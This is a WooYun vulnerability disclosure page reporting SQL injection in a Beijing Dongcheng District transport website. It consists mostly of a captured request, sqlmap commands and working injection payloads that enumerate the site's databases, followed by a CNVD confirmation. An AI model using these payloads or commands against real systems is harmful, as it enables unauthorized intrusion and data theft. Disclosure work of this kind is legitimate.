当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068163

漏洞标题:北京东城区交通系统SQL注入漏洞

相关厂商:北京东城区

漏洞作者: 乐乐、

提交时间:2014-07-11 12:18

修复时间:2014-08-25 13:06

公开时间:2014-08-25 13:06

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-11: 细节已通知厂商并且等待厂商处理中
2014-07-16: 厂商已经确认,细节仅向厂商公开
2014-07-26: 细节向核心白帽子及相关领域专家公开
2014-08-05: 细节向普通白帽子公开
2014-08-15: 细节向实习白帽子公开
2014-08-25: 细节向公众公开

简要描述:

详细说明:

dcjt.bjdch.gov.cn
搜索框
---------------------------------------------------------
sqlmap -r 1.txt
-->>

POST /console/newsSearch.jsp HTTP/1.1
Host: dcjt.bjdch.gov.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dcjt.bjdch.gov.cn/console/qaList.jsp
Cookie: JSESSIONID=B4884B78C2AE5105B17F7C3450E64B29
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
subject=1&submit=%B2%E9%D5%D2


---------------------------------------------------------------------

[10:43:41] [INFO] confirming that GET parameter 'module' is dynamic
[10:43:41] [INFO] GET parameter 'module' is dynamic
[10:43:42] [WARNING] heuristic (basic) test shows that GET parameter 'module' mi
ght not be injectable
[10:43:42] [INFO] testing for SQL injection on GET parameter 'module'
[10:43:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:43:42] [WARNING] reflective value(s) found and filtering out
[10:43:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[10:43:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:43:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[10:43:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[10:43:49] [INFO] testing 'MySQL inline queries'
[10:43:49] [INFO] testing 'PostgreSQL inline queries'
[10:43:49] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:43:49] [INFO] testing 'Oracle inline queries'
[10:43:49] [INFO] testing 'SQLite inline queries'
[10:43:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:43:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:43:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:43:53] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:43:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:43:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:43:56] [INFO] testing 'Oracle AND time-based blind'
[10:43:57] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:44:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:44:08] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[10:44:28] [WARNING] GET parameter 'module' is not injectable
[10:44:28] [INFO] testing if GET parameter 'action' is dynamic
[10:44:28] [INFO] confirming that GET parameter 'action' is dynamic
[10:44:28] [INFO] GET parameter 'action' is dynamic
[10:44:28] [WARNING] heuristic (basic) test shows that GET parameter 'action' mi
ght not be injectable
[10:44:28] [INFO] testing for SQL injection on GET parameter 'action'
[10:44:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:44:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[10:44:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:44:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[10:44:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[10:44:50] [INFO] testing 'MySQL inline queries'
[10:44:50] [INFO] testing 'PostgreSQL inline queries'
[10:44:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:44:50] [INFO] testing 'Oracle inline queries'
[10:44:51] [INFO] testing 'SQLite inline queries'
[10:44:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:44:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:44:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:45:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:45:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:45:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:45:06] [INFO] testing 'Oracle AND time-based blind'
[10:45:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:45:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:45:29] [WARNING] GET parameter 'action' is not injectable
[10:45:29] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp')
[*] shutting down at 10:45:29
[root@Hacker~]# Sqlmap -r 1.txt
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:21:34
[11:21:34] [INFO] parsing HTTP request from '1.txt'
[11:21:34] [INFO] testing connection to the target URL
[11:21:34] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[11:21:35] [INFO] target URL is stable
[11:21:35] [INFO] testing if POST parameter 'subject' is dynamic
[11:21:35] [INFO] confirming that POST parameter 'subject' is dynamic
[11:21:35] [INFO] POST parameter 'subject' is dynamic
[11:21:35] [WARNING] heuristic (basic) test shows that POST parameter 'subject'
might not be injectable
[11:21:35] [INFO] testing for SQL injection on POST parameter 'subject'
[11:21:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:21:36] [WARNING] reflective value(s) found and filtering out
[11:21:36] [INFO] POST parameter 'subject' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[11:21:37] [INFO] heuristic (extended) test shows that the back-end DBMS could b
e 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] y
[12:01:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[12:01:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:01:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[12:01:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[12:02:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[12:02:00] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[12:02:00] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[12:02:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[12:02:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[12:02:00] [INFO] testing 'MySQL inline queries'
[12:02:00] [INFO] testing 'PostgreSQL inline queries'
[12:02:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[12:02:01] [INFO] testing 'Oracle inline queries'
[12:02:01] [INFO] testing 'SQLite inline queries'
[12:02:01] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:02:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[12:02:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[12:02:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:02:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[12:02:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[12:02:07] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[12:02:22] [INFO] POST parameter 'subject' is 'Microsoft SQL Server/Sybase AND t
ime-based blind (heavy query)' injectable
[12:02:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:02:22] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[12:02:29] [INFO] target URL appears to be UNION injectable with 4 columns
[12:02:29] [INFO] POST parameter 'subject' is 'Generic UNION query (NULL) - 1 to
20 columns' injectable
POST parameter 'subject' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
[12:02:31] [INFO] testing if POST parameter 'submit' is dynamic
[12:02:31] [WARNING] POST parameter 'submit' does not appear dynamic
[12:02:31] [WARNING] heuristic (basic) test shows that POST parameter 'submit' m
ight not be injectable
[12:02:31] [INFO] testing for SQL injection on POST parameter 'submit'
[12:02:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:02:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace (original value)'
[12:02:44] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause'
[12:02:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked conditional-error
blind queries'
[12:02:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[12:03:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:03:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[12:03:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[12:03:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[12:03:35] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[12:03:41] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[12:03:41] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[12:03:41] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[12:03:42] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY cl
ause'
[12:03:42] [INFO] testing 'MySQL inline queries'
[12:03:42] [INFO] testing 'PostgreSQL inline queries'
[12:03:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[12:03:42] [INFO] testing 'Oracle inline queries'
[12:03:42] [INFO] testing 'SQLite inline queries'
[12:03:42] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:03:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[12:03:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[12:03:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:03:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[12:03:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[12:03:54] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[12:03:54] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[12:03:55] [INFO] testing 'Oracle AND time-based blind'
[12:03:55] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[12:04:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace'
[12:04:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace (heavy queries)'
[12:04:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER
BY clauses'
[12:04:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER
BY clause (heavy query)'
[12:04:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[12:04:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:05:38] [WARNING] POST parameter 'submit' is not injectable
sqlmap identified the following injection points with a total of 309 HTTP(s) req
uests:
---
Place: POST
Parameter: subject
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subject=1%' AND 2196=2196 AND '%'='&submit=%B2%E9%D5%D2
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: subject=-8675%' UNION ALL SELECT NULL,CHAR(113)+CHAR(99)+CHAR(99)+C
HAR(101)+CHAR(113)+CHAR(80)+CHAR(106)+CHAR(71)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(
68)+CHAR(107)+CHAR(80)+CHAR(100)+CHAR(113)+CHAR(107)+CHAR(121)+CHAR(105)+CHAR(11
3),NULL,NULL-- &submit=%B2%E9%D5%D2
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: subject=1%' AND 3768=(SELECT COUNT(*) FROM sysusers AS sys1,sysuser
s AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sy
susers AS sys7) AND '%'='&submit=%B2%E9%D5%D2
---
[12:05:38] [INFO] testing Microsoft SQL Server
[12:05:38] [INFO] confirming Microsoft SQL Server
[12:05:38] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[12:05:38] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:05:38] [INFO] fetched data logged to text files under 'E:\SQL?~1\SQLMAP~1.4\
Bin\output\dcjt.bjdch.gov.cn'
[*] shutting down at 12:05:38
[root@Hacker~]# Sqlmap -r 1.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:08:57
[12:08:57] [INFO] parsing HTTP request from '1.txt'
[12:08:57] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:08:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: subject
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subject=1%' AND 2196=2196 AND '%'='&submit=%B2%E9%D5%D2
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: subject=-8675%' UNION ALL SELECT NULL,CHAR(113)+CHAR(99)+CHAR(99)+C
HAR(101)+CHAR(113)+CHAR(80)+CHAR(106)+CHAR(71)+CHAR(122)+CHAR(98)+CHAR(98)+CHAR(
68)+CHAR(107)+CHAR(80)+CHAR(100)+CHAR(113)+CHAR(107)+CHAR(121)+CHAR(105)+CHAR(11
3),NULL,NULL-- &submit=%B2%E9%D5%D2
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: subject=1%' AND 3768=(SELECT COUNT(*) FROM sysusers AS sys1,sysuser
s AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sy
susers AS sys7) AND '%'='&submit=%B2%E9%D5%D2
---
[12:08:58] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[12:08:58] [INFO] fetching database names
[12:08:58] [WARNING] reflective value(s) found and filtering out
[12:08:58] [INFO] the SQL query used returns 7 entries
[12:08:58] [INFO] retrieved: "cwork_dchms"
[12:09:01] [INFO] retrieved: "cwork_video"
[12:09:01] [INFO] retrieved: "master"
[12:09:01] [INFO] retrieved: "model"
[12:09:01] [INFO] retrieved: "msdb"
[12:09:01] [INFO] retrieved: "tempdb"
[12:09:01] [INFO] retrieved: "xycwjt"
available databases [7]:
[*] cwork_dchms
[*] cwork_video
[*] master
[*] model
[*] msdb
[*] tempdb
[*] xycwjt
[12:09:01] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[12:09:01] [INFO] fetched data logged to text files under 'E:\SQL?~1\SQLMAP~1.4\
Bin\output\dcjt.bjdch.gov.cn'
[*] shutting down at 12:09:01
[root@Hacker~]# Sqlmap


aad.png

漏洞证明:

aad.png

修复方案:

版权声明:转载请注明来源 乐乐、@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-16 10:26

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT通报给北京市政府信息化主管部门,由其后续协调网站管理单位处置。

最新状态:

暂无